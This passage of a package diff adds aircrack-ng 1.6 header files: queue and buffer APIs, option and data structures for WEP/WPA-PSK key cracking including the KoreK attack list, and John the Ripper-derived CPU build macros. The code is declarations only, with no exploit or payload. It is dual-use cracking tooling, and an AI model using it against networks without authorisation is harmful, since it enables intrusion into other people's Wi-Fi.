+API_IMPORT size_t circular_buffer_size(cbuf_handle_t cbuf);
+
+#ifdef __cplusplus
+}
+#endif
+
+#endif

aircrack-ng-1.6.tar.gz/include/aircrack-ng/adt/circular_queue.h Added

@@ -0,0 +1,147 @@
+/*
+ * Copyright (C) 2018-2020 Joseph Benden <joe@benden.us>
+ *
+ * Permission is hereby granted, free of charge, to any person obtaining a
+ * copy of this software and associated documentation files (the "Software"),
+ * to deal in the Software without restriction, including without limitation
+ * the rights to use, copy, modify, merge, publish, distribute, sublicense,
+ * and/or sell copies of the Software, and to permit persons to whom the
+ * Software is furnished to do so, subject to the following conditions:
+ *
+ * The above copyright notice and this permission notice shall be included in
+ * all copies or substantial portions of the Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
+ * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
+ * DEALINGS IN THE SOFTWARE.
+ */
+
+#ifndef AIRCRACK_UTIL_CIRCULAR_QUEUE_H
+#define AIRCRACK_UTIL_CIRCULAR_QUEUE_H
+
+#include <aircrack-ng/defs.h>
+
+/**
+ * @file circular_queue.h
+ *
+ * @brief An implementation of a multi-threaded, blocking queue; which
+ * internally uses a circular buffer for element storage.
+ *
+ * @author Joseph Benden <joe@benden.us>
+ */
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+/// The type representing the internal data structure for a single
+/// blocking circular queue; unaccessible to public API consumers.
+typedef struct circular_queue_t circular_queue_t;
+
+/// The type representing a handle to a single blocking circular queue.
+typedef circular_queue_t * cqueue_handle_t;
+
+/*!
+ * @brief Create a new blocking circular queue.
+ * @param[in] buffer A region of memory to be used for element storage.
+ * @param[in] bufferSize The number of bytes available at @a buffer.
+ * @param[in] elementSize The number of bytes used by a single entry stored.
+ * @return A brand-new circular queue handle, else NULL on error.
+ */
+API_IMPORT cqueue_handle_t circular_queue_init(uint8_t * buffer,
+											   size_t bufferSize,
+											   size_t elementSize);
+
+/*!
+ * @brief Release the memory used by the circular queue.
+ * @param[in] cq   The circular queue handle to operate upon.
+ *
+ * @par
+ * The API consumer is expected to release the memory region
+ * given to the @a circular_queue_init function, by themselves.
+ */
+API_IMPORT void circular_queue_free(cqueue_handle_t cq);
+
+/*!
+ * @brief Reset the circular queue back to its initial state.
+ * @param[in] cq The circular queue handle to operate upon.
+ */
+API_IMPORT void circular_queue_reset(cqueue_handle_t cq);
+
+/*!
+ * @brief Store an entry to the circular queue.
+ * @param[in] cq   The circular queue handle to operate upon.
+ * @param[in] data A buffer location for which we copy the data in from.
+ * @param[in] size The length of the @a data memory buffer. This is
+ *                 permitted to be less-than or equal-to the
+ *                 element size. If less-than, the remaining bytes
+ *                 of the element stored are zeroed.
+ *
+ * @par
+ * The memory location of @a data must not overlap the circular
+ * queue's memory location. This is because we internally use
+ * the @f memcpy function.
+ */
+API_IMPORT void
+circular_queue_push(cqueue_handle_t cq, void const * const data, size_t size);
+
+/*!
+ * @brief Attempts to store an entry to the circular queue, if possible.
+ * @param[in] cq   The circular queue handle to operate upon.
+ * @param[in] data A buffer location for which we copy the data in from.
+ * @param[in] size The length of the @a data memory buffer. This is
+ *                 permitted to be less-than or equal-to the
+ *                 element size. If less-than, the remaining bytes
+ *                 of the element stored are zeroed.
+ * @return Result of operation is zero on success.
+ *
+ * @par
+ * The memory location of @a data must not overlap the circular
+ * queue's memory location. This is because we internally use
+ * the @f memcpy function.
+ */
+API_IMPORT int circular_queue_try_push(cqueue_handle_t cq,
+									   void const * const data,
+									   size_t size);
+
+/*!
+ * @brief Acquire an entry from the circular queue.
+ * @param[in] cq   The circular queue handle to operate upon.
+ * @param[in] data A buffer location to which to copy the data out to.
+ * @param[in] size The length of the @a data memory buffer. This is
+ *                 permitted to be less-than or equal-to the
+ *                 element size.
+ *
+ * @par
+ * The memory location of @a data must not overlap the circular
+ * queue's memory location. This is because we internally use
+ * the @f memcpy function.
+ */
+API_IMPORT void
+circular_queue_pop(cqueue_handle_t cq, void * const * data, size_t size);
+
+/*!
+ * @brief Returns whether the circular queue is empty.
+ * @param[in] cq The circular queue handle to operate upon.
+ * @return A boolean representing the emptiness state of the
+ *         circular queue.
+ */
+API_IMPORT bool circular_queue_is_empty(cqueue_handle_t cq);
+
+/*!
+ * @brief Returns whether the circular queue is full.
+ * @param[in] cq The circular queue handle to operate upon.
+ * @return A boolean representing the fullness state of the
+ *         circular queue.
+ */
+API_IMPORT bool circular_queue_is_full(cqueue_handle_t cq);
+
+#ifdef __cplusplus
+}
+#endif
+
+#endif

aircrack-ng-1.6.tar.gz/include/aircrack-ng/aircrack-ng.h Added

@@ -0,0 +1,259 @@
+/*
+ *  802.11 WEP / WPA-PSK Key Cracker
+ *
+ *  Copyright (C) 2007-2012 Martin Beck <martin.beck2@gmx.de>
+ *
+ *  This program is free software; you can redistribute it and/or modify
+ *  it under the terms of the GNU General Public License as published by
+ *  the Free Software Foundation; either version 2 of the License, or
+ *  (at your option) any later version.
+ *
+ *  This program is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *  GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with this program; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+ *
+ *
+ *  In addition, as a special exception, the copyright holders give
+ *  permission to link the code of portions of this program with the
+ *  OpenSSL library under certain conditions as described in each
+ *  individual source file, and distribute linked combinations
+ *  including the two.
+ *  You must obey the GNU General Public License in all respects
+ *  for all of the code used other than OpenSSL. *  If you modify
+ *  file(s) with this exception, you may extend this exception to your
+ *  version of the file(s), but you are not obligated to do so. *  If you
+ *  do not wish to do so, delete this exception statement from your
+ *  version. *  If you delete this exception statement from all source
+ *  files in the program, then also delete it here.
+ */
+
+#ifndef _AIRCRACK_NG_H
+#define _AIRCRACK_NG_H
+
+#include <stddef.h>
+#include <stdbool.h>
+#include <stdint.h>
+#include <stdio.h>
+#include <time.h>
+#include <sys/time.h>
+#if defined(__FreeBSD__) || defined(__MidnightBSD__)
+#include <unistd.h>
+#endif
+#include <pthread.h>
+
+#include <aircrack-ng/ptw/aircrack-ptw-lib.h>
+#include <aircrack-ng/third-party/eapol.h>
+#include <aircrack-ng/ce-wpa/crypto_engine.h>
+#include <aircrack-ng/adt/avl_tree.h>
+#include <aircrack-ng/adt/circular_queue.h>
+
+#define SUCCESS 0
+#define FAILURE 1
+#define RESTART 2
+
+#ifndef O_BINARY
+#define O_BINARY 0
+#endif
+
+#define MAX_DICTS 128
+
+#define ASCII_LOW_T 0x21
+#define ASCII_HIGH_T 0x7E
+#define ASCII_VOTE_STRENGTH_T 150
+#define ASCII_DISREGARD_STRENGTH 1
+
+#define TEST_MIN_IVS 4
+#define TEST_MAX_IVS 32
+
+#define PTW_TRY_STEP 5000
+
+#define KEYHSBYTES PTW_KEYHSBYTES
+
+#define MAX_THREADS 256
+
+#ifndef WL_CIRCULAR_QUEUE_SIZE
+#define WL_CIRCULAR_QUEUE_SIZE (32 * 1024)
+#endif
+
+#define CLOSE_IT 100000
+
+#define S_LLC_SNAP "\xAA\xAA\x03\x00\x00\x00"
+#define S_LLC_SNAP_ARP (S_LLC_SNAP "\x08\x06")
+#define S_LLC_SNAP_IP (S_LLC_SNAP "\x08\x00")
+#define IEEE80211_FC1_DIR_FROMDS 0x02 /* AP ->STA */
+#define KEYLIMIT 1000000
+
+#define N_ATTACKS 17
+
+enum KoreK_attacks
+{
+	A_u15, /* semi-stable  15%             */
+	A_s13, /* stable       13%             */
+	A_u13_1, /* unstable     13%             */
+	A_u13_2, /* unstable ?   13%             */
+	A_u13_3, /* unstable ?   13%             */
+	A_s5_1, /* standard      5% (~FMS)      */
+	A_s5_2, /* other stable  5%             */
+	A_s5_3, /* other stable  5%             */
+	A_u5_1, /* unstable      5% no good ?   */
+	A_u5_2, /* unstable      5%             */
+	A_u5_3, /* unstable      5% no good     */
+	A_u5_4, /* unstable      5%             */
+	A_s3, /* stable        3%             */
+	A_4_s13, /* stable       13% on q = 4    */
+	A_4_u5_1, /* unstable      5% on q = 4    */
+	A_4_u5_2, /* unstable      5% on q = 4    */
+	A_neg /* helps reject false positives */
+};
+
+struct dictfiles
+{
+	off_t dictsize; /* Total file size */
+	off_t dictpos; /* Current position of dictionary */
+	off_t wordcount; /* Total amount of words in dict file */
+	int loaded; /* Have finished processing? */
+};
+
+struct options
+{
+	int amode; /* attack mode          */
+	int essid_set; /* essid set flag       */
+	int bssid_set; /* bssid set flag       */
+	char essid[33]; /* target ESSID         */
+	unsigned char bssid[6]; /* target BSSID         */
+	int nbcpu; /* # of cracker threads
+												 (= # of CPU)         */
+	int is_quiet; /* quiet mode flag      */
+
+	unsigned char debug[64]; /* user-defined WEP key */
+	int debug_row[64]; /* user-defined Row WEP key */
+	unsigned char maddr[6]; /* MAC address filter   */
+	int keylen; /* WEP key length       */
+	int index; /* WEP key index        */
+	float ffact; /* bruteforce factor    */
+	int korek; /* attack strategy      */
+
+	int is_fritz; /* use numeric keyspace */
+	int is_alnum; /* alphanum keyspace    */
+	int is_bcdonly; /* binary coded decimal */
+
+	int do_brute; /* bruteforce last 2 KB */
+	int do_mt_brute; /* bruteforce last 2 KB
+									multithreaded for SMP*/
+	int do_testy; /* experimental attack  */
+	int do_ptw; /* PTW WEP attack */
+
+	char * dicts[MAX_DICTS]; /* dictionary files     */
+	FILE * dict; /* dictionary file      */
+	int nbdict; /* current dict number  */
+	int no_stdin; /* if dict == stdin     */
+	int hexdict[MAX_DICTS]; /* if dict in hex       */
+	long long int wordcount; /* Total wordcount for all dicts*/
+	struct dictfiles dictidx[MAX_DICTS]; /* Dictionary structure		*/
+	int totaldicts; /* total loaded dictionaries	*/
+	int dictfinish; /* finished processing all dicts*/
+	int showASCII; /* Show ASCII version of*/
+	/* the wepkey           */
+
+	int l33t; /* no comment           */
+	int stdin_dict;
+
+	int probability; /* %of correct answers */
+	int votes[N_ATTACKS]; /* votes for korek attacks */
+	int brutebytes[64]; /* bytes to bruteforce */
+	int next_ptw_try;
+
+	int max_ivs;
+
+	char * bssidmerge;
+	unsigned char * firstbssid;
+	struct mergeBSSID * bssid_list_1st;
+
+	struct AP_info * ap;
+
+	int wep_decloak;
+	int ptw_attack;
+
+	int visual_inspection; /* Enabling/disabling visual    */
+	/* inspection of the different  */
+	/* keybytes                     */
+
+	int oneshot; /* Do PTW once */
+
+	char * logKeyToFile;
+
+	int forced_amode; /* signals disregarding automatic detection of encryption
+						 type */
+
+	char * wkp; /* EWSA Project file */
+	char * hccap; /* Hashcat capture file */
+	char * hccapx; /* Hashcat X (3.6+) capture file */
+};
+
+typedef struct
+{
+	int idx, val;
+} vote;
+
+struct WEP_data
+{
+	unsigned char key[64]; /* the current chosen WEP key   */
+	unsigned char * ivbuf; /* buffer holding all the IVs   */
+	int nb_aps; /* number of targeted APs       */
+	long nb_ivs; /* # of unique IVs in buffer    */
+	long nb_ivs_now; /* # of unique IVs available    */
+	int fudge[64]; /* bruteforce level (1 to 256)  */
+	int depth[64]; /* how deep we are in the fudge */
+	vote poll[64][256]; /* KoreK cryptanalysis results  */
+};
+
+#include <aircrack-ng/support/station.h>
+
+struct mergeBSSID
+{
+	unsigned char bssid[6]; /* BSSID */
+	char unused[2]; /* Alignment */
+	int convert; /* Does this BSSID has to       */
+	/* be converted                 */
+	struct mergeBSSID * next;
+};
+
+#define WPA_DATA_KEY_BUFFER_LENGTH 128
+
+struct WPA_data
+{
+	int active;
+	ac_crypto_engine_t engine;
+	struct AP_info * ap; /* AP information */
+	int thread; /* number of this thread */
+	int threadid; /* id of this thread */
+	char key[WPA_DATA_KEY_BUFFER_LENGTH]; /* cracked key (0 while not found) */
+	uint8_t * key_buffer;
+	cqueue_handle_t cqueue;
+	pthread_mutex_t mutex;
+};
+
+void show_wep_stats(int B,
+					int force,
+					PTW_tableentry table[PTW_KEYHSBYTES][PTW_n],
+					int choices[KEYHSBYTES],
+					int depth[KEYHSBYTES],
+					int prod);
+
+static inline int cmp_votes(const void * bs1, const void * bs2)
+{
+	REQUIRE(bs1 != NULL);
+	REQUIRE(bs2 != NULL);
+
+	if (((vote *) bs1)->val < ((vote *) bs2)->val) return (1);
+	if (((vote *) bs1)->val > ((vote *) bs2)->val) return (-1);
+
+	return (0);
+}
+
+#endif /* _AIRCRACK_NG_H */

aircrack-ng-1.6.tar.gz/include/aircrack-ng/ce-wep Added

aircrack-ng-1.6.tar.gz/include/aircrack-ng/ce-wep/uniqueiv.h Added

@@ -0,0 +1,63 @@
+/*
+ *  802.11 WEP / WPA-PSK Key Cracker
+ *
+ *  Copyright (C) 2007-2012 Martin Beck <martin.beck2@gmx.de>
+ *
+ *  This program is free software; you can redistribute it and/or modify
+ *  it under the terms of the GNU General Public License as published by
+ *  the Free Software Foundation; either version 2 of the License, or
+ *  (at your option) any later version.
+ *
+ *  This program is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *  GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with this program; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+ *
+ *
+ *  In addition, as a special exception, the copyright holders give
+ *  permission to link the code of portions of this program with the
+ *  OpenSSL library under certain conditions as described in each
+ *  individual source file, and distribute linked combinations
+ *  including the two.
+ *  You must obey the GNU General Public License in all respects
+ *  for all of the code used other than OpenSSL. *  If you modify
+ *  file(s) with this exception, you may extend this exception to your
+ *  version of the file(s), but you are not obligated to do so. *  If you
+ *  do not wish to do so, delete this exception statement from your
+ *  version. *  If you delete this exception statement from all source
+ *  files in the program, then also delete it here.
+ */
+
+#ifndef _UNIQUEIV_H
+#define _UNIQUEIV_H
+
+#define IV_NOTHERE 0
+#define IV_PRESENT 1
+
+/* select byte within which desired bit is located */
+
+#define BITWISE_OFFT(x) ((x) >> 3)
+
+/* mask to extract desired bit */
+
+#define BITWISE_MASK(x) (1 << ((x) &7))
+
+unsigned char ** uniqueiv_init(void);
+int uniqueiv_mark(unsigned char ** uiv_root, unsigned char IV[3]);
+int uniqueiv_check(unsigned char ** uiv_root, unsigned char IV[3]);
+void uniqueiv_wipe(unsigned char ** uiv_root);
+
+#define NO_CLOAKING 0
+#define CLOAKING 1
+
+unsigned char * data_init(void);
+int data_check(unsigned char * data_root,
+			   unsigned char IV[3],
+			   unsigned char data[2]);
+void data_wipe(unsigned char * data);
+
+#endif

aircrack-ng-1.6.tar.gz/include/aircrack-ng/ce-wpa Added

aircrack-ng-1.6.tar.gz/include/aircrack-ng/ce-wpa/aligned.h Changed

aircrack-ng-1.6.tar.gz/include/aircrack-ng/ce-wpa/arch.h Added

@@ -0,0 +1,464 @@
+/*
+ * Based on John the Ripper and modified to integrate with aircrack
+ *
+ * 	John the Ripper copyright and license.
+ *
+ * John the Ripper password cracker,
+ * Copyright (c) 1996-2013 by Solar Designer.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * As a special exception to the GNU General Public License terms,
+ * permission is hereby granted to link the code of this program, with or
+ * without modification, with any version of the OpenSSL library and/or any
+ * version of unRAR, and to distribute such linked combinations.  You must
+ * obey the GNU GPL in all respects for all of the code used other than
+ * OpenSSL and unRAR.  If you modify this program, you may extend this
+ * exception to your version of the program, but you are not obligated to
+ * do so.  (In other words, you may release your derived work under pure
+ * GNU GPL version 2 or later as published by the FSF.)
+ *
+ * (This exception from the GNU GPL is not required for the core tree of
+ * John the Ripper, but arguably it is required for -jumbo.)
+ *
+ * 	Relaxed terms for certain components.
+ *
+ * In addition or alternatively to the license above, many components are
+ * available to you under more relaxed terms (most commonly under cut-down
+ * BSD license) as specified in the corresponding source files.
+ *
+ * For more information on John the Ripper licensing please visit:
+ *
+ * http://www.openwall.com/john/doc/LICENSE.shtml
+ *
+ * This file is part of John the Ripper password cracker,
+ * Copyright (c) 2003,2006,2008,2010,2011,2015 by Solar Designer
+ *
+ * ...with a trivial change in the jumbo patch, by Alain Espinosa.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted.
+ *
+ * There's ABSOLUTELY NO WARRANTY, express or implied.
+ */
+
+/*
+ * Architecture specific parameters for x86-64.
+ */
+
+#ifndef _ARCH_H
+#define _ARCH_H
+
+#if (defined(__ARM_NEON) && !defined(__ARM_NEON__)) || defined(__aarch64)      \
+	|| defined(__aarch64__)
+#define __ARM_NEON__ 1
+#endif
+
+#if (defined(__ARM_NEON__) && !defined(__ARM_NEON)) || defined(__aarch64)      \
+	|| defined(__aarch64__)
+#define __ARM_NEON 1
+#endif
+
+#ifdef __ARM_NEON__
+#define SHA_BUF_SIZ 16
+#define SIMD_COEF_32 4
+#define SIMD_COEF_64 2
+#ifndef SIMD_PARA_SHA1
+#define SIMD_PARA_SHA1 1
+#endif
+#ifndef SIMD_PARA_SHA256
+#define SIMD_PARA_SHA256 0
+#endif
+#ifndef SIMD_PARA_SHA512
+#define SIMD_PARA_SHA512 0
+#endif
+#endif
+
+#if defined(JOHN_ALTIVEC)
+#define SHA_BUF_SIZ 16
+#define SIMD_COEF_32 4
+#define SIMD_COEF_64 2
+#ifndef SIMD_PARA_SHA1
+#define SIMD_PARA_SHA1 1
+#endif
+#ifndef SIMD_PARA_SHA256
+#define SIMD_PARA_SHA256 0
+#endif
+#ifndef SIMD_PARA_SHA512
+#define SIMD_PARA_SHA512 0
+#endif
+
+#endif
+
+#if AC_BUILT
+#include "autoconfig.h"
+#else
+#if defined(__ILP32__) || defined(_WIN64) || defined(__LLP64__)                \
+	|| (defined(__SIZE_OF_LONG__) && __SIZEOF_LONG__ == 4)
+#define ARCH_WORD long long
+#else
+#define ARCH_WORD long
+#endif
+#define ARCH_SIZE 8
+#define ARCH_BITS 64
+#define ARCH_BITS_LOG 6
+#define ARCH_BITS_STR "64"
+#define ARCH_LITTLE_ENDIAN 1
+#define ARCH_INT_GT_32 0
+#endif
+
+#define ARCH_ALLOWS_UNALIGNED 1
+#define ARCH_INDEX(x) ((unsigned int) (unsigned char) (x))
+
+#define CPU_DETECT 0
+
+#ifdef __SSE2__
+#define CPU_NAME "SSE2"
+#endif
+
+#if __SSSE3__ || JOHN_SSSE3
+#undef CPU_DETECT
+#define CPU_DETECT 1
+#define CPU_REQ 1
+#define CPU_REQ_SSSE3 1
+#undef CPU_NAME
+#define CPU_NAME "SSSE3"
+#if CPU_FALLBACK && !defined(CPU_FALLBACK_BINARY)
+#define CPU_FALLBACK_BINARY "john-non-ssse3"
+#define CPU_FALLBACK_BINARY_DEFAULT
+#endif
+#endif
+
+#if __SSE4_1__ || JOHN_SSE4_1
+#undef CPU_DETECT
+#define CPU_DETECT 1
+#define CPU_REQ 1
+#define CPU_REQ_SSE4_1 1
+#undef CPU_NAME
+#define CPU_NAME "SSE4.1"
+#if CPU_FALLBACK && !defined(CPU_FALLBACK_BINARY)
+#define CPU_FALLBACK_BINARY "john-non-sse4.1"
+#define CPU_FALLBACK_BINARY_DEFAULT
+#endif
+#endif
+
+#if __AVX512F__ || JOHN_AVX512F
+#undef CPU_DETECT
+#define CPU_DETECT 1
+#define CPU_REQ 1
+#define CPU_REQ_AVX512F 1
+#undef CPU_NAME
+#define CPU_NAME "AVX512F"
+#if CPU_FALLBACK && !defined(CPU_FALLBACK_BINARY)
+#define CPU_FALLBACK_BINARY "john-non-avx512f"
+#define CPU_FALLBACK_BINARY_DEFAULT
+#endif
+#endif
+
+#if __AVX512BW__ || JOHN_AVX512BW
+#undef CPU_DETECT
+#define CPU_DETECT 1
+#define CPU_REQ 1
+#define CPU_REQ_AVX512BW 1
+#undef CPU_NAME
+#define CPU_NAME "AVX512BW"
+#if CPU_FALLBACK && !defined(CPU_FALLBACK_BINARY)
+#define CPU_FALLBACK_BINARY "john-non-avx512bw"
+#define CPU_FALLBACK_BINARY_DEFAULT
+#endif
+#endif
+
+#ifdef __XOP__
+#define JOHN_XOP 1
+#endif
+#if defined(__AVX__) || defined(JOHN_XOP) || defined(JOHN_AVX2)
+#define JOHN_AVX 1
+#endif
+
+#define DES_ASM 0
+#define DES_128K 0
+#define DES_X2 0
+#define DES_MASK 1
+#define DES_SCALE 1
+#define DES_EXTB 1
+#define DES_COPY 0
+#define DES_BS 1
+#if !defined(__SSE2__)
+#define DES_BS_VECTOR 0
+#define DES_BS_ALGORITHM_NAME "DES 64/64"
+#elif defined(JOHN_AVX) && (defined(__GNUC__) || defined(_OPENMP))
+/*
+ * Require gcc for AVX/XOP because DES_bs_all is aligned in a gcc-specific way,
+ * except in OpenMP-enabled builds, where it's aligned by different means.
+ */
+#undef CPU_DETECT
+#define CPU_DETECT 1
+#define CPU_REQ 1
+#define CPU_REQ_AVX 1
+#undef CPU_NAME
+#define CPU_NAME "AVX"
+#if CPU_FALLBACK && !defined(CPU_FALLBACK_BINARY)
+#define CPU_FALLBACK_BINARY "john-non-avx"
+#define CPU_FALLBACK_BINARY_DEFAULT
+#endif
+#define DES_BS_ASM 0
+#if 0
+/* 512-bit as 2x256 */
+#define DES_BS_VECTOR 8
+#if defined(JOHN_XOP) && defined(__GNUC__)
+/* Require gcc for 256-bit XOP because of __builtin_ia32_vpcmov_v8sf256() */
+#undef DES_BS
+#define DES_BS 3
+#define DES_BS_ALGORITHM_NAME "DES 256/256 X2 XOP-16"
+#else
+#define DES_BS_ALGORITHM_NAME "DES 256/256 X2 AVX-16"
+#endif
+#elif 0
+/* 384-bit as 256+128 */
+#define DES_BS_VECTOR_SIZE 8
+#define DES_BS_VECTOR 6
+#if defined(JOHN_XOP) && defined(__GNUC__)
+/* Require gcc for 256-bit XOP because of __builtin_ia32_vpcmov_v8sf256() */
+#undef DES_BS
+#define DES_BS 3
+#define DES_BS_ALGORITHM_NAME "DES 256/256 XOP-16 + 128/128 XOP-16"
+#else
+#define DES_BS_ALGORITHM_NAME "DES 256/256 AVX-16 + 128/128 AVX-16"
+#endif
+#elif 0
+/* 384-bit as 256+64+64 */
+#define DES_BS_NO_AVX128
+#define DES_BS_VECTOR_SIZE 8
+#define DES_BS_VECTOR 6
+#define DES_BS_ALGORITHM_NAME "DES 256/256 AVX-16 + 64/64 MMX + 64/64"
+#elif 0
+/* 320-bit as 256+64 MMX */
+#define DES_BS_VECTOR_SIZE 8
+#define DES_BS_VECTOR 5
+#define DES_BS_ALGORITHM_NAME "DES 256/256 AVX-16 + 64/64 MMX"
+#elif 0
+/* 320-bit as 256+64 */
+#define DES_BS_NO_MMX
+#define DES_BS_VECTOR_SIZE 8
+#define DES_BS_VECTOR 5
+#define DES_BS_ALGORITHM_NAME "DES 256/256 AVX-16 + 64/64"
+#elif __AVX2__ || JOHN_AVX2
+/* 256-bit as 1x256 */
+#define DES_BS_VECTOR 4
+#undef CPU_NAME
+#define CPU_NAME "AVX2"
+#define CPU_DETECT 1
+#define CPU_REQ 1
+#define CPU_REQ_AVX2 1
+#if CPU_FALLBACK && !defined(CPU_FALLBACK_BINARY)
+#define CPU_FALLBACK_BINARY "john-non-avx2"
+#define CPU_FALLBACK_BINARY_DEFAULT
+#endif
+#define DES_BS_ALGORITHM_NAME "DES 256/256 AVX2-16"
+#elif 0
+/* 256-bit as 2x128 */
+#define DES_BS_NO_AVX256
+#define DES_BS_VECTOR 4
+#ifdef JOHN_XOP
+#undef DES_BS
+#define DES_BS 3
+#define DES_BS_ALGORITHM_NAME "DES 128/128 X2 XOP-16"
+#else
+#define DES_BS_ALGORITHM_NAME "DES 128/128 X2 AVX-16"
+#endif
+#else
+/* 128-bit */
+#define DES_BS_VECTOR 2
+#ifdef JOHN_XOP
+#undef DES_BS
+#define DES_BS 3
+#define DES_BS_ALGORITHM_NAME "DES 128/128 XOP-16"
+#else
+#define DES_BS_ALGORITHM_NAME "DES 128/128 AVX-16"
+#endif
+#endif
+#elif (defined(__SSE2__) && defined(_OPENMP))
+#define DES_BS_ASM 0
+#if 1
+#define DES_BS_VECTOR 2
+#define DES_BS_ALGORITHM_NAME "DES 128/128 SSE2-16"
+#elif 0
+#define DES_BS_VECTOR 3
+#define DES_BS_VECTOR_SIZE 4
+#define DES_BS_ALGORITHM_NAME "DES 128/128 SSE2-16 + 64/64 MMX"
+#elif 0
+#define DES_BS_NO_MMX
+#define DES_BS_VECTOR 3
+#define DES_BS_VECTOR_SIZE 4
+#define DES_BS_ALGORITHM_NAME "DES 128/128 SSE2-16 + 64/64"
+#elif 0
+#define DES_BS_NO_MMX
+#define DES_BS_VECTOR 4
+#define DES_BS_ALGORITHM_NAME "DES 128/128 X2 SSE2-16"
+#else
+#define DES_BS_VECTOR 4
+#define DES_BS_ALGORITHM_NAME "DES 128/128 SSE2-16 + 64/64 MMX + 64/64"
+#endif
+#else
+#define DES_BS_ASM 1
+#define DES_BS_VECTOR 2
+#define DES_BS_ALGORITHM_NAME "DES 128/128 SSE2-16"
+#endif
+#define DES_BS_EXPAND 1
+
+#if CPU_DETECT && DES_BS == 3
+#define CPU_REQ_XOP 1
+#undef CPU_NAME
+#define CPU_NAME "XOP"
+#ifdef CPU_FALLBACK_BINARY_DEFAULT
+#undef CPU_FALLBACK_BINARY
+#define CPU_FALLBACK_BINARY "john-non-xop"
+#endif
+#endif
+
+#define MD5_ASM 0
+#define MD5_X2 1
+#define MD5_IMM 1
+
+#ifdef __GNUC__
+#define GCC_VERSION                                                            \
+	(__GNUC__ * 10000 + __GNUC_MINOR__ * 100 + __GNUC_PATCHLEVEL__)
+#endif
+
+#ifdef __SSE2__
+
+#if __AVX512F__
+#define SIMD_COEF_32 16
+#define SIMD_COEF_64 8
+#elif __AVX2__
+#define SIMD_COEF_32 8
+#define SIMD_COEF_64 4
+#elif __SSE2__
+#define SIMD_COEF_32 4
+#define SIMD_COEF_64 2
+#endif
+
+#ifndef SIMD_PARA_SHA1
+#if defined(__INTEL_COMPILER)
+#define SIMD_PARA_SHA1 1
+#elif defined(__clang__)
+#define SIMD_PARA_SHA1 1
+#elif defined(__llvm__)
+#define SIMD_PARA_SHA1 1
+#elif defined(__GNUC__) && GCC_VERSION < 40504 // 4.5.4
+#define SIMD_PARA_SHA1 1
+#elif !defined(__AVX__) && defined(__GNUC__) && GCC_VERSION > 40700 // 4.7.0
+#define SIMD_PARA_SHA1 1
+#else
+#define SIMD_PARA_SHA1 1
+#endif
+#endif
+
+#if 0
+#ifndef SIMD_PARA_SHA256
+#if __XOP__
+#define SIMD_PARA_SHA256 2
+#else
+#define SIMD_PARA_SHA256 1
+#endif
+#endif
+#ifndef SIMD_PARA_SHA512
+#define SIMD_PARA_SHA512 1
+#endif
+#endif
+
+#ifndef SHA1_SSE_PARA
+#if defined(__INTEL_COMPILER) || defined(USING_ICC_S_FILE)
+#define SHA1_SSE_PARA 1
+//#define SHA1_N_STR		      "4x"
+#elif defined(__clang__)
+#define SHA1_SSE_PARA 2
+//#define SHA1_N_STR		      "8x"
+#elif defined(__llvm__)
+#define SHA_BUF_SIZ 80
+#define SHA1_SSE_PARA 2
+//#define SHA1_N_STR		      "8x"
+#elif defined(__GNUC__) && GCC_VERSION < 40504 // 4.5.4
+#define SHA1_SSE_PARA 1
+//#define SHA1_N_STR		      "4x"
+#elif !defined(JOHN_AVX) && defined(__GNUC__) && GCC_VERSION > 40700 // 4.7.0
+#define SHA1_SSE_PARA 1
+//#define SHA1_N_STR		      "4x"
+#else
+#define SHA1_SSE_PARA 2
+//#define SHA1_N_STR			"8x"
+#endif
+#endif
+
+#define STR_VALUE(arg) #arg
+#define PARA_TO_N(n) STR_VALUE(n) "x"
+#define PARA_TO_MxN(m, n) STR_VALUE(m) "x" STR_VALUE(n)
+
+#if SIMD_PARA_SHA1 > 1
+#define SHA1_N_STR PARA_TO_MxN(SIMD_COEF_32, SIMD_PARA_SHA1)
+#else
+#define SHA1_N_STR PARA_TO_N(SIMD_COEF_32)
+#endif
+#if SIMD_PARA_SHA256 > 1
+#define SHA256_N_STR PARA_TO_MxN(SIMD_COEF_32, SIMD_PARA_SHA256)
+#else
+#define SHA256_N_STR PARA_TO_N(SIMD_COEF_32)
+#endif
+#if SIMD_PARA_SHA512 > 1
+#define SHA512_N_STR PARA_TO_MxN(SIMD_COEF_64, SIMD_PARA_SHA512)
+#else
+#define SHA512_N_STR PARA_TO_N(SIMD_COEF_64)
+#endif
+
+#define SHA_BUF_SIZ 16
+
+#define NT_X86_64
+
+#ifndef SIMD_CORE
+#define MMX_TYPE " SSE2"
+#define MMX_COEF 4
+#define MMX_COEF_SHA256 4
+#define MMX_COEF_SHA512 2
+#endif
+
+#endif /* __SSE2__ */
+
+#define BF_ASM 0
+#define BF_SCALE 1
+
+/*
+ * 3x (as opposed to 2x) interleaving provides substantial speedup on Core 2
